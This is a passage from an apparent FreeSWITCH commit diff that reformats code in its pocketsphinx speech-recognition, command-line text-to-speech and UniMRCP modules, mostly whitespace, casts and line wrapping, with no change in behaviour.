- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open speech model %s.\n", model);
goto end;
}
if (switch_file_exists(jsgf, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Can't open grammar file %s.\n", jsgf);
goto end;
}
- rate = switch_mprintf("%d", ah->rate);
+ rate = switch_mprintf("%d", ah->rate);
switch_assert(jsgf && dic && model);
-
+
ps->config = cmd_ln_init(ps->config, ps_args(), FALSE,
"-samprate", rate,
- "-hmm", model,
- "-jsgf", jsgf,
- "-lw", globals.language_weight,
- "-dict", dic,
- "-frate", "50",
- "-silprob", "0.005",
- NULL);
-
+ "-hmm", model, "-jsgf", jsgf, "-lw", globals.language_weight, "-dict", dic, "-frate", "50", "-silprob", "0.005", NULL);
+
if (ps->config == NULL) {
status = SWITCH_STATUS_GENERR;
goto end;
@@ -185,19 +179,19 @@
switch_mutex_unlock(ps->flag_mutex);
ps_start_utt(ps->ps, NULL);
- switch_set_flag(ps, PSFLAG_READY);
+ switch_set_flag(ps, PSFLAG_READY);
switch_safe_free(ps->grammar);
ps->grammar = strdup(grammar);
status = SWITCH_STATUS_SUCCESS;
- end:
-
+ end:
+
switch_safe_free(rate);
switch_safe_free(jsgf);
switch_safe_free(dic);
switch_safe_free(model);
-
+
return status;
}
@@ -224,7 +218,7 @@
switch_mutex_unlock(ps->flag_mutex);
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
switch_clear_flag(ps, PSFLAG_READY);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "Port Closed.\n");
switch_set_flag(ah, SWITCH_ASR_FLAG_CLOSED);
return SWITCH_STATUS_SUCCESS;
}
@@ -233,7 +227,7 @@
{
uint32_t score, count = 0, j = 0;
double energy = 0;
-
+
if (ps->countdown) {
if (!--ps->countdown) {
ps->silence_hits = ps->org_silence_hits;
@@ -242,12 +236,12 @@
}
return SWITCH_FALSE;
}
-
+
for (count = 0; count < samples; count++) {
energy += abs(data[j]);
}
-
+
score = (uint32_t) (energy / samples);
if (score >= ps->thresh) {
@@ -274,20 +268,21 @@
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
int rv = 0;
- if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED)) return SWITCH_STATUS_BREAK;
-
+ if (switch_test_flag(ah, SWITCH_ASR_FLAG_CLOSED))
+ return SWITCH_STATUS_BREAK;
+
if (!switch_test_flag(ps, PSFLAG_HAS_TEXT) && switch_test_flag(ps, PSFLAG_READY)) {
- if (stop_detect(ps, (int16_t *)data, len / 2)) {
+ if (stop_detect(ps, (int16_t *) data, len / 2)) {
char const *hyp;
- switch_mutex_lock(ps->flag_mutex);
+ switch_mutex_lock(ps->flag_mutex);
if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
if (!zstr(hyp)) {
ps_end_utt(ps->ps);
switch_clear_flag(ps, PSFLAG_READY);
if ((hyp = ps_get_hyp(ps->ps, &ps->score, &ps->uttid))) {
if (zstr(hyp)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Lost the text, never mind....\n");
ps_start_utt(ps->ps, NULL);
switch_set_flag(ps, PSFLAG_READY);
} else {
@@ -303,7 +298,7 @@
/* only feed ps_process_raw when we are listening */
if (ps->listening) {
switch_mutex_lock(ps->flag_mutex);
- rv = ps_process_raw(ps->ps, (int16 *)data, len / 2 , FALSE, FALSE);
+ rv = ps_process_raw(ps->ps, (int16 *) data, len / 2, FALSE, FALSE);
switch_mutex_unlock(ps->flag_mutex);
}
@@ -321,13 +316,13 @@
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
switch_status_t status = SWITCH_STATUS_FALSE;
- switch_mutex_lock(ps->flag_mutex);
+ switch_mutex_lock(ps->flag_mutex);
if (switch_test_flag(ps, PSFLAG_READY)) {
ps_end_utt(ps->ps);
switch_clear_flag(ps, PSFLAG_READY);
status = SWITCH_STATUS_SUCCESS;
}
- switch_mutex_unlock(ps->flag_mutex);
+ switch_mutex_unlock(ps->flag_mutex);
return status;
}
@@ -337,19 +332,19 @@
{
pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
switch_status_t status = SWITCH_STATUS_FALSE;
-
- switch_mutex_lock(ps->flag_mutex);
+
+ switch_mutex_lock(ps->flag_mutex);
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
- if (!switch_test_flag(ps, PSFLAG_READY)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
-
+ if (!switch_test_flag(ps, PSFLAG_READY)) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Manually Resuming\n");
+
if (ps_start_utt(ps->ps, NULL)) {
status = SWITCH_STATUS_GENERR;
} else {
- switch_set_flag(ps, PSFLAG_READY);
+ switch_set_flag(ps, PSFLAG_READY);
}
}
- switch_mutex_unlock(ps->flag_mutex);
+ switch_mutex_unlock(ps->flag_mutex);
return status;
}
@@ -365,7 +360,7 @@
/*! function to read results from the ASR*/
static switch_status_t pocketsphinx_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
{
- pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
+ pocketsphinx_t *ps = (pocketsphinx_t *) ah->private_info;
switch_status_t status = SWITCH_STATUS_SUCCESS;
int32_t conf;
@@ -375,7 +370,7 @@
}
if (switch_test_flag(ps, PSFLAG_HAS_TEXT)) {
- switch_mutex_lock(ps->flag_mutex);
+ switch_mutex_lock(ps->flag_mutex);
switch_clear_flag(ps, PSFLAG_HAS_TEXT);
conf = ps_get_prob(ps->ps, &ps->uttid);
@@ -386,20 +381,18 @@
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Recognized: %s, Confidence: %d\n", ps->hyp, ps->confidence);
- switch_mutex_unlock(ps->flag_mutex);
+ switch_mutex_unlock(ps->flag_mutex);
*xmlstr = switch_mprintf("<?xml version=\"1.0\"?>\n"
"<result grammar=\"%s\">\n"
" <interpretation grammar=\"%s\" confidence=\"%d\">\n"
" <input mode=\"speech\">%s</input>\n"
- " </interpretation>\n"
- "</result>\n",
- ps->grammar, ps->grammar, ps->confidence, ps->hyp);
+ " </interpretation>\n" "</result>\n", ps->grammar, ps->grammar, ps->confidence, ps->hyp);
if (switch_test_flag(ps, SWITCH_ASR_FLAG_AUTO_RESUME)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto Resuming\n");
switch_set_flag(ps, PSFLAG_READY);
-
+
ps_start_utt(ps->ps, NULL);
}
@@ -467,7 +460,7 @@
globals.language_weight = switch_core_strdup(globals.pool, "6.5");
}
- done:
+ done:
if (xml) {
switch_xml_free(xml);
}
@@ -495,7 +488,7 @@
switch_asr_interface_t *asr_interface;
switch_mutex_init(&MUTEX, SWITCH_MUTEX_NESTED, pool);
-
+
globals.pool = pool;
if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &NODE) != SWITCH_STATUS_SUCCESS)) {
Modified: freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c (16578 => 16579)
--- freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_tts_commandline/mod_tts_commandline.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -76,7 +76,7 @@
}
if (zstr(globals.command)) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "No command set, please edit %s\n", cf);
}
return SWITCH_STATUS_SUCCESS;
@@ -96,7 +96,7 @@
switch_uuid_t uuid;
char uuid_str[SWITCH_UUID_FORMATTED_LENGTH + 1];
char outfile[512] = "";
-
+
tts_commandline_t *info = switch_core_alloc(sh->memory_pool, sizeof(*info));
info->voice_name = switch_core_strdup(sh->memory_pool, voice_name);
@@ -107,11 +107,11 @@
switch_uuid_format(uuid_str, &uuid);
switch_snprintf(outfile, sizeof(outfile), "%s%s.tmp.wav", SWITCH_GLOBAL_dirs.temp_dir, uuid_str);
info->file = switch_core_strdup(sh->memory_pool, outfile);
-
+
info->fh = (switch_file_handle_t *) switch_core_alloc(sh->memory_pool, sizeof(switch_file_handle_t));
-
+
sh->private_info = info;
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -119,7 +119,7 @@
{
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
assert(info != NULL);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -129,37 +129,35 @@
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
assert(info != NULL);
-
+
message = switch_core_strdup(sh->memory_pool, globals.command);
-
+
tmp = switch_util_quote_shell_arg(text);
message = switch_string_replace(message, "${text}", tmp);
-
+
tmp = switch_util_quote_shell_arg(info->voice_name);
message = switch_string_replace(message, "${voice}", tmp);
-
+
rate = switch_core_sprintf(sh->memory_pool, "%d", info->rate);
message = switch_string_replace(message, "${rate}", rate);
-
+
tmp = switch_util_quote_shell_arg(info->file);
message = switch_string_replace(message, "${file}", tmp);
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Executing: %s\n", message);
-
+
if (switch_system(message, SWITCH_TRUE) < 0) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
- return SWITCH_STATUS_FALSE;
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to execute command: %s\n", message);
+ return SWITCH_STATUS_FALSE;
}
- if (switch_core_file_open(info->fh,
- info->file,
- 0, //number_of_channels,
- 0, //samples_per_second,
- SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
- return SWITCH_STATUS_FALSE;
+ if (switch_core_file_open(info->fh, info->file, 0, //number_of_channels,
+ 0, //samples_per_second,
+ SWITCH_FILE_FLAG_READ | SWITCH_FILE_DATA_SHORT, NULL) != SWITCH_STATUS_SUCCESS) {
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open file: %s\n", info->file);
+ return SWITCH_STATUS_FALSE;
}
-
+
sh->private_info = info;
return SWITCH_STATUS_SUCCESS;
@@ -170,8 +168,8 @@
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
size_t my_datalen = *datalen / 2;
- assert(info != NULL);
-
+ assert(info != NULL);
+
if (switch_core_file_read(info->fh, data, &my_datalen) != SWITCH_STATUS_SUCCESS) {
*datalen = my_datalen * 2;
return SWITCH_STATUS_FALSE;
@@ -188,7 +186,7 @@
{
tts_commandline_t *info = (tts_commandline_t *) sh->private_info;
assert(info != NULL);
-
+
switch_core_file_close(info->fh);
if (unlink(info->file) != 0) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Sound file [%s] delete failed\n", info->file);
Modified: freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c (16578 => 16579)
--- freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/mod_unimrcp.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -138,7 +138,7 @@
const char *srgs_mime_type;
};
typedef struct profile profile_t;
-static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool);
+static switch_status_t profile_create(profile_t ** profile, const char *name, switch_memory_pool_t *pool);
/* Profile events that may be monitored. Useful for tracking MRCP profile utilization */
#define MY_EVENT_PROFILE_CREATE "unimrcp::profile_create"
@@ -149,13 +149,18 @@
* Defines XML parsing instructions
*/
static switch_xml_config_item_t instructions[] = {
- SWITCH_CONFIG_ITEM_STRING_STRDUP("max-connection-count", CONFIG_REQUIRED, &globals.unimrcp_max_connection_count, "100", "", "The max MRCPv2 connections to manage"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("max-connection-count", CONFIG_REQUIRED, &globals.unimrcp_max_connection_count, "100", "",
+ "The max MRCPv2 connections to manage"),
/* TODO figure out what this param does */
SWITCH_CONFIG_ITEM_STRING_STRDUP("offer-new-connection", CONFIG_REQUIRED, &globals.unimrcp_offer_new_connection, "1", "", ""),
- SWITCH_CONFIG_ITEM_STRING_STRDUP("default-tts-profile", CONFIG_REQUIRED, &globals.unimrcp_default_synth_profile, "default", "", "The default profile to use for TTS"),
- SWITCH_CONFIG_ITEM_STRING_STRDUP("default-asr-profile", CONFIG_REQUIRED, &globals.unimrcp_default_recog_profile, "default", "", "The default profile to use for ASR"),
- SWITCH_CONFIG_ITEM_STRING_STRDUP("log-level", CONFIG_REQUIRED, &globals.unimrcp_log_level, "WARNING", "EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG", "Logging level for UniMRCP"),
- SWITCH_CONFIG_ITEM_STRING_STRDUP("enable-profile-events", CONFIG_REQUIRED, &globals.enable_profile_events_param, "false", "", "Fire profile events (true|false)"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("default-tts-profile", CONFIG_REQUIRED, &globals.unimrcp_default_synth_profile, "default", "",
+ "The default profile to use for TTS"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("default-asr-profile", CONFIG_REQUIRED, &globals.unimrcp_default_recog_profile, "default", "",
+ "The default profile to use for ASR"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("log-level", CONFIG_REQUIRED, &globals.unimrcp_log_level, "WARNING",
+ "EMERGENCY|ALERT|CRITICAL|ERROR|WARNING|NOTICE|INFO|DEBUG", "Logging level for UniMRCP"),
+ SWITCH_CONFIG_ITEM_STRING_STRDUP("enable-profile-events", CONFIG_REQUIRED, &globals.enable_profile_events_param, "false", "",
+ "Fire profile events (true|false)"),
SWITCH_CONFIG_ITEM_END()
};
@@ -243,7 +248,7 @@
};
typedef struct audio_queue audio_queue_t;
-static switch_status_t audio_queue_create(audio_queue_t **queue, const char *name, switch_memory_pool_t *pool);
+static switch_status_t audio_queue_create(audio_queue_t ** queue, const char *name, switch_memory_pool_t *pool);
static switch_status_t audio_queue_write(audio_queue_t *queue, void *data, switch_size_t *data_len);
static switch_status_t audio_queue_read(audio_queue_t *queue, void *data, switch_size_t *data_len, int block);
static switch_status_t audio_queue_clear(audio_queue_t *queue);
@@ -323,11 +328,14 @@
/* speech channel interface for UniMRCP */
static apt_bool_t speech_on_session_terminate(mrcp_application_t *application, mrcp_session_t *session, mrcp_sig_status_code_e status);
-static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
-static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_sig_status_code_e status);
+static apt_bool_t speech_on_channel_add(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+ mrcp_sig_status_code_e status);
+static apt_bool_t speech_on_channel_remove(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel,
+ mrcp_sig_status_code_e status);
/* speech_channel funcs */
-static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, uint16_t rate, switch_memory_pool_t *pool);
+static switch_status_t speech_channel_create(speech_channel_t ** schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app,
+ uint16_t rate, switch_memory_pool_t *pool);
static mpf_termination_t *speech_channel_create_mpf_termination(speech_channel_t *schannel);
static switch_status_t speech_channel_open(speech_channel_t *schannel, profile_t *profile);
static switch_status_t speech_channel_destroy(speech_channel_t *schannel);
@@ -369,7 +377,8 @@
/* synthesizer specific speech_channel funcs */
static switch_status_t synth_channel_speak(speech_channel_t *schannel, const char *text);
-static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_synth_header_t *synth_hdr);
+static switch_status_t synth_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+ mrcp_synth_header_t *synth_hdr);
static switch_status_t synth_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_synth_header_t *synth_hdr);
/*********************************************************************************************************************************************
@@ -407,7 +416,7 @@
};
typedef struct grammar grammar_t;
-static switch_status_t grammar_create(grammar_t **grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
+static switch_status_t grammar_create(grammar_t ** grammar, const char *name, grammar_type_t type, const char *data, switch_memory_pool_t *pool);
static const char *grammar_type_to_mime(grammar_type_t type, profile_t *profile);
/*********************************************************************************************************************************************
@@ -432,7 +441,7 @@
typedef struct recognizer_data recognizer_data_t;
static switch_status_t recog_load(switch_loadable_module_interface_t *module_interface, switch_memory_pool_t *pool);
-static switch_status_t recog_shutdown() ;
+static switch_status_t recog_shutdown();
/* recognizer's interface for FreeSWITCH */
static switch_status_t recog_asr_open(switch_asr_handle_t *ah, const char *codec, int rate, const char *dest, switch_asr_flag_t *flags);
@@ -466,7 +475,8 @@
static switch_status_t recog_channel_start_input_timers(speech_channel_t *schannel);
static switch_status_t recog_channel_set_results(speech_channel_t *schannel, const char *results);
static switch_status_t recog_channel_get_results(speech_channel_t *schannel, char **results);
-static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr, mrcp_recog_header_t *recog_hdr);
+static switch_status_t recog_channel_set_params(speech_channel_t *schannel, mrcp_message_t *msg, mrcp_generic_header_t *gen_hdr,
+ mrcp_recog_header_t *recog_hdr);
static switch_status_t recog_channel_set_header(speech_channel_t *schannel, int id, char *val, mrcp_message_t *msg, mrcp_recog_header_t *recog_hdr);
static switch_status_t recog_channel_set_timers_started(speech_channel_t *schannel);
@@ -478,13 +488,13 @@
* @param pool the memory pool to use
* @return SWITCH_STATUS_SUCCESS if the profile is created
*/
-static switch_status_t profile_create(profile_t **profile, const char *name, switch_memory_pool_t *pool)
+static switch_status_t profile_create(profile_t ** profile, const char *name, switch_memory_pool_t *pool)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
profile_t *lprofile = NULL;
switch_event_t *event = NULL;
-
- lprofile = (profile_t *)switch_core_alloc(pool, sizeof(profile_t));
+
+ lprofile = (profile_t *) switch_core_alloc(pool, sizeof(profile_t));
if (lprofile) {
lprofile->name = switch_core_strdup(pool, name);
lprofile->srgs_mime_type = "application/srgs";
@@ -501,7 +511,7 @@
*profile = NULL;
status = SWITCH_STATUS_FALSE;
}
-
+
return status;
}
@@ -527,7 +537,7 @@
/* is there a match? */
result = textlen > matchlen && !strncmp(match, text, matchlen);
}
-
+
return result;
}
@@ -539,7 +549,7 @@
* @param pool memory pool to allocate queue from
* @return SWITCH_STATUS_SUCCESS if successful. SWITCH_STATUS_FALSE if unable to allocate queue
*/
-static switch_status_t audio_queue_create(audio_queue_t **audio_queue, const char *name, switch_memory_pool_t *pool)
+static switch_status_t audio_queue_create(audio_queue_t ** audio_queue, const char *name, switch_memory_pool_t *pool)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
audio_queue_t *laudio_queue = NULL;
@@ -555,7 +565,7 @@
lname = switch_core_strdup(pool, name);
}
- if ((laudio_queue = (audio_queue_t *)switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
+ if ((laudio_queue = (audio_queue_t *) switch_core_alloc(pool, sizeof(audio_queue_t))) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue\n", lname);
status = SWITCH_STATUS_FALSE;
goto done;
@@ -580,10 +590,9 @@
status = SWITCH_STATUS_FALSE;
goto done;
}
-
#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
flags = SWITCH_FOPEN_CREATE | SWITCH_FOPEN_WRITE | SWITCH_FOPEN_TRUNCATE | SWITCH_FOPEN_BINARY;
- strcpy(laudio_queue->file_read_name, "/tmp/mod_unimrcp_rx_XXXXXX");
+ strcpy(laudio_queue->file_read_name, "/tmp/mod_unimrcp_rx_XXXXXX");
if (switch_file_mktemp(&laudio_queue->file_read, laudio_queue->file_read_name, flags, pool) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) unable to create audio queue read file\n", laudio_queue->name);
laudio_queue->file_read = NULL;
@@ -605,7 +614,7 @@
*audio_queue = laudio_queue;
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue created\n", laudio_queue->name);
- done:
+ done:
if (status != SWITCH_STATUS_SUCCESS) {
audio_queue_destroy(laudio_queue);
@@ -636,7 +645,8 @@
if (switch_buffer_write(queue->buffer, data, *data_len) > 0) {
queue->write_bytes = queue->write_bytes + *data_len;
#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue write total = %ld\trequested = %ld\n", queue->name, queue->write_bytes, *data_len);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue write total = %ld\trequested = %ld\n", queue->name, queue->write_bytes,
+ *data_len);
#endif
if (queue->waiting <= switch_buffer_inuse(queue->buffer)) {
switch_thread_cond_signal(queue->cond);
@@ -676,7 +686,7 @@
}
queue->waiting = 0;
}
-
+
if (switch_buffer_inuse(queue->buffer) < requested) {
requested = switch_buffer_inuse(queue->buffer);
}
@@ -690,14 +700,15 @@
*data_len = switch_buffer_read(queue->buffer, data, requested);
queue->read_bytes = queue->read_bytes + *data_len;
#ifdef MOD_UNIMRCP_DEBUG_AUDIO_QUEUE
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue read total = %ld\tread = %ld\trequested = %ld\n", queue->name, queue->read_bytes, *data_len, requested);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) audio queue read total = %ld\tread = %ld\trequested = %ld\n", queue->name,
+ queue->read_bytes, *data_len, requested);
switch_size_t len = *data_len;
if (queue->file_read) {
switch_file_write(queue->file_read, data, &len);
}
#endif
- done:
+ done:
switch_mutex_unlock(queue->mutex);
return status;
@@ -768,13 +779,14 @@
* @param pool the memory pool to use
* @return SWITCH_STATUS_SUCCESS if successful. SWITCH_STATUS_FALSE if the channel cannot be allocated.
*/
-static switch_status_t speech_channel_create(speech_channel_t **schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app, uint16_t rate, switch_memory_pool_t *pool)
+static switch_status_t speech_channel_create(speech_channel_t ** schannel, const char *name, speech_channel_type_t type, mod_unimrcp_application_t *app,
+ uint16_t rate, switch_memory_pool_t *pool)
{
switch_status_t status = SWITCH_STATUS_SUCCESS;
speech_channel_t *schan = NULL;
*schannel = NULL;
- if ((schan = (speech_channel_t *)switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
+ if ((schan = (speech_channel_t *) switch_core_alloc(pool, sizeof(speech_channel_t))) == NULL) {
status = SWITCH_STATUS_FALSE;
goto done;
}
@@ -785,10 +797,10 @@
schan->memory_pool = pool;
schan->params = NULL;
schan->rate = rate;
- schan->silence = 0; /* L16 silence sample */
+ schan->silence = 0; /* L16 silence sample */
schan->channel_opened = 0;
- if (switch_mutex_init(&schan->mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS ||
+ if (switch_mutex_init(&schan->mutex, SWITCH_MUTEX_UNNESTED, pool) != SWITCH_STATUS_SUCCESS ||
switch_thread_cond_create(&schan->cond, pool) != SWITCH_STATUS_SUCCESS ||
audio_queue_create(&schan->audio_queue, name, pool) != SWITCH_STATUS_SUCCESS) {
status = SWITCH_STATUS_FALSE;
@@ -803,7 +815,7 @@
}
*schannel = schan;
- done:
+ done:
return status;
}
@@ -820,7 +832,7 @@
switch_mutex_lock(schannel->mutex);
if (schannel->state != SPEECH_CHANNEL_CLOSED) {
mrcp_application_session_terminate(schannel->unimrcp_session);
- while(schannel->state != SPEECH_CHANNEL_CLOSED) {
+ while (schannel->state != SPEECH_CHANNEL_CLOSED) {
if (switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC) == SWITCH_STATUS_TIMEOUT) {
break;
}
@@ -867,7 +879,8 @@
sample_rates = MPF_SAMPLE_RATE_8000;
}
mpf_codec_capabilities_add(&capabilities->codecs, sample_rates, "LPCM");
- termination = mrcp_application_audio_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, capabilities, schannel);
+ termination =
+ mrcp_application_audio_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, capabilities, schannel);
return termination;
}
@@ -876,20 +889,21 @@
{
mpf_termination_t *termination = NULL;
mpf_codec_descriptor_t *codec = NULL;
- codec = (mpf_codec_descriptor_t *)apr_palloc(schannel->unimrcp_session->pool, sizeof(mpf_codec_descriptor_t));
+ codec = (mpf_codec_descriptor_t *) apr_palloc(schannel->unimrcp_session->pool, sizeof(mpf_codec_descriptor_t));
mpf_codec_descriptor_init(codec);
codec->channel_count = 1;
codec->payload_type = 96;
codec->sampling_rate = schannel->rate;
- apt_string_set(&codec->name, "LPCM"); /* "LPCM" is UniMRCP's name for L16 host byte ordered */
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) requesting codec LPCM/%d/%d\n", schannel->name, codec->payload_type, codec->sampling_rate);
+ apt_string_set(&codec->name, "LPCM"); /* "LPCM" is UniMRCP's name for L16 host byte ordered */
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) requesting codec LPCM/%d/%d\n", schannel->name, codec->payload_type,
+ codec->sampling_rate);
if (schannel->type == SPEECH_CHANNEL_SYNTHESIZER) {
termination = mrcp_application_sink_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, codec, schannel);
} else {
termination = mrcp_application_source_termination_create(schannel->unimrcp_session, &schannel->application->audio_stream_vtable, codec, schannel);
}
-
+
return termination;
}
#endif
@@ -908,7 +922,7 @@
mrcp_resource_type_e resource_type;
switch_mutex_lock(schannel->mutex);
-
+
/* make sure we can open channel */
if (schannel->state != SPEECH_CHANNEL_CLOSED) {
status = SWITCH_STATUS_FALSE;
@@ -918,13 +932,13 @@
schannel->profile = profile;
/* create MRCP session */
- if ((schannel->unimrcp_session = mrcp_application_session_create(schannel->application->app, profile->name, schannel)) == NULL) {
+ if ((schannel->unimrcp_session = mrcp_application_session_create(schannel->application->app, profile->name, schannel)) == NULL) {
/* profile doesn't exist? */
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create session with %s\n", schannel->name, profile->name);
status = SWITCH_STATUS_RESTART;
goto done;
}
-
+
/* create audio termination and add to channel */
if ((termination = speech_channel_create_mpf_termination(schannel)) == NULL) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Unable to create termination with %s\n", schannel->name, profile->name);
@@ -960,14 +974,13 @@
}
if (schannel->state == SPEECH_CHANNEL_READY) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) channel is ready\n", schannel->name);
- }
- else if (schannel->state == SPEECH_CHANNEL_CLOSED) {
+ } else if (schannel->state == SPEECH_CHANNEL_CLOSED) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Timed out waiting for channel to be ready\n", schannel->name);
/* can't retry */
status = SWITCH_STATUS_FALSE;
} else if (schannel->state == SPEECH_CHANNEL_ERROR) {
/* Wait for session to be cleaned up */
- while(schannel->state == SPEECH_CHANNEL_ERROR) {
+ while (schannel->state == SPEECH_CHANNEL_ERROR) {
if (switch_thread_cond_timedwait(schannel->cond, schannel->mutex, SPEECH_CHANNEL_TIMEOUT_USEC) == SWITCH_STATUS_TIMEOUT) {
break;
}
@@ -981,7 +994,7 @@
}
}
- done:
+ done:
switch_mutex_unlock(schannel->mutex);
return status;
@@ -1015,7 +1028,7 @@
}
/* set generic header fields (content-type) */
- if ((generic_header = (mrcp_generic_header_t *)mrcp_generic_header_prepare(mrcp_message)) == NULL) {
+ if ((generic_header = (mrcp_generic_header_t *) mrcp_generic_header_prepare(mrcp_message)) == NULL) {
status = SWITCH_STATUS_FALSE;
goto done;
}
@@ -1029,7 +1042,7 @@
mrcp_generic_header_property_add(mrcp_message, GENERIC_HEADER_CONTENT_TYPE);
/* set synthesizer header fields (voice, rate, etc.) */
- if ((synth_header = (mrcp_synth_header_t *)mrcp_resource_header_prepare(mrcp_message)) == NULL) {
